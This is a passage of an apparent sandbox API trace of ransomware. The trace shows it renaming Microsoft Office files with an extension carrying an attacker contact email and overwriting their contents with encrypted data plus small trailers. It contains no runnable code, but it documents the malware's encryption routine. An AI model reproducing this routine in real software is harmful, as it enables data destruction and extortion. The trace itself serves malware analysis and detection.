(normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlooktask.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0181.942] CloseHandle (hObject=0x4d4) returned 1 [0181.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0181.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlooktask.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlooktask.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0181.944] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0181.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookTask.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TEE849~1.FIR")) returned 0x6d4e40 [0181.944] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0181.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlooktask.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0181.944] GetProcessHeap () returned 0x630000 [0181.944] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a7c70 [0181.945] GetProcessHeap () returned 0x630000 [0181.945] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70825e8 [0181.945] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.945] ReadFile (in: hFile=0x4d4, lpBuffer=0x70a7c70, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0189.958] GetProcessHeap () returned 0x630000 [0189.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0189.959] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.959] WriteFile (in: hFile=0x4d4, lpBuffer=0x70825e8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70825e8*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0189.959] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.959] WriteFile (in: hFile=0x4d4, lpBuffer=0x708d9e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x708d9e7*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.983] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.983] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.983] CloseHandle (hObject=0x4d4) returned 1 [0191.983] GetProcessHeap () returned 0x630000 [0191.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70825e8 | out: hHeap=0x630000) returned 1 [0191.983] GetProcessHeap () returned 0x630000 [0191.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0191.983] GetProcessHeap () returned 0x630000 [0191.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0191.983] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386149e5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3dd84, dwReserved0=0xbfc7496, dwReserved1=0x70a7c68, cFileName="TellMeOutlookTask.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TEE849~1.FIR")) returned 0x6d4f00 [0191.983] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0191.984] Sleep (dwMilliseconds=0x1) [0193.114] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", len=0x3f | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx") returned 1 [0193.114] GetProcessHeap () returned 0x630000 [0193.114] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47d4) returned 0x7133a90 [0193.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0193.566] CloseHandle (hObject=0x4d4) returned 1 [0193.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.031] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blog.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLOGDO~1.FIR")) returned 0x6d5000 [0197.031] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0197.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.031] GetProcessHeap () returned 0x630000 [0197.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3a41) returned 0x72571e8 [0197.032] GetProcessHeap () returned 0x630000 [0197.032] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3a41) returned 0x70f0350 [0197.032] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.032] ReadFile (in: hFile=0x4d4, lpBuffer=0x72571e8, nNumberOfBytesToRead=0x3a20, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72571e8*, lpNumberOfBytesRead=0x4d3ff0c*=0x3a20, lpOverlapped=0x0) returned 1 [0199.664] GetProcessHeap () returned 0x630000 [0199.664] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0199.664] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.664] WriteFile (in: hFile=0x4d4, lpBuffer=0x70f0350*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f0350*, lpNumberOfBytesWritten=0x4d3ff0c*=0x3a20, lpOverlapped=0x0) returned 1 [0199.664] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.664] WriteFile (in: hFile=0x4d4, lpBuffer=0x70f3d6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3d6f*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0199.664] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.664] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0199.665] CloseHandle (hObject=0x4d4) returned 1 [0199.795] GetProcessHeap () returned 0x630000 [0199.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f0350 | out: hHeap=0x630000) returned 1 [0199.795] GetProcessHeap () returned 0x630000 [0199.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72571e8 | out: hHeap=0x630000) returned 1 [0199.795] GetProcessHeap () returned 0x630000 [0199.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0199.795] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0199.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3cf482bc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3a61, dwReserved0=0xbfc7496, dwReserved1=0x72571e0, cFileName="Blog.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLOGDO~1.FIR")) returned 0x6d5280 [0200.500] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0200.765] Sleep (dwMilliseconds=0x1) [0202.513] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql70.xsl", len=0x79 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql70.xsl") returned 1 [0202.513] GetProcessHeap () returned 0x630000 [0202.513] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c00) returned 0x7133a90 [0202.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0202.514] CloseHandle (hObject=0x6a8) returned 1 [0202.514] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0202.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0202.515] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0202.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d4a13c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d4a13c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x31002d, dwReserved1=0x390039, cFileName="sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL70X~1.FIR")) returned 0x6d5280 [0202.515] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0202.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0202.516] GetProcessHeap () returned 0x630000 [0202.516] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7e21) returned 0x7224598 [0202.516] GetProcessHeap () returned 0x630000 [0202.516] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7e21) returned 0x70a7c70 [0202.516] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.516] ReadFile (in: hFile=0x6a8, lpBuffer=0x7224598, nNumberOfBytesToRead=0x7e00, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224598*, lpNumberOfBytesRead=0x4d3ff0c*=0x7e00, lpOverlapped=0x0) returned 1 [0206.926] GetProcessHeap () returned 0x630000 [0206.926] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0206.926] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.926] WriteFile (in: hFile=0x6a8, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x4d3ff0c*=0x7e00, lpOverlapped=0x0) returned 1 [0206.927] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.927] WriteFile (in: hFile=0x6a8, lpBuffer=0x70afa6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70afa6f*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0206.927] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.927] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0206.927] CloseHandle (hObject=0x6a8) returned 1 [0206.927] GetProcessHeap () returned 0x630000 [0206.927] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0206.927] GetProcessHeap () returned 0x630000 [0206.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7224598 | out: hHeap=0x630000) returned 1 [0206.928] GetProcessHeap () returned 0x630000 [0206.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0206.928] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d4a13c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d4a13c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4148c029, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7e26, dwReserved0=0xbfc7496, dwReserved1=0x7224590, cFileName="sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL70X~1.FIR")) returned 0x6d5040 [0206.928] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0206.928] Sleep (dwMilliseconds=0x1) [0208.947] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\THMBNAIL.PNG") returned 1 [0208.947] GetProcessHeap () returned 0x630000 [0208.947] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4dc8) returned 0x6fe4288 [0208.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0208.949] CloseHandle (hObject=0x674) returned 1 [0208.949] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0208.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0208.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0xff00b748, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5440 [0208.951] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0208.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0208.951] GetProcessHeap () returned 0x630000 [0208.951] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7d01) returned 0x7224598 [0208.952] GetProcessHeap () returned 0x630000 [0208.952] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7d01) returned 0x746bd68 [0208.952] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.952] ReadFile (in: hFile=0x674, lpBuffer=0x7224598, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224598*, lpNumberOfBytesRead=0x4d3ff0c*=0x7ce0, lpOverlapped=0x0) returned 1 [0212.596] GetProcessHeap () returned 0x630000 [0212.596] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0212.596] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.596] WriteFile (in: hFile=0x674, lpBuffer=0x746bd68*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746bd68*, lpNumberOfBytesWritten=0x4d3ff0c*=0x7ce0, lpOverlapped=0x0) returned 1 [0212.596] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.596] WriteFile (in: hFile=0x674, lpBuffer=0x7473a47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7473a47*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0212.596] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.597] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0212.597] CloseHandle 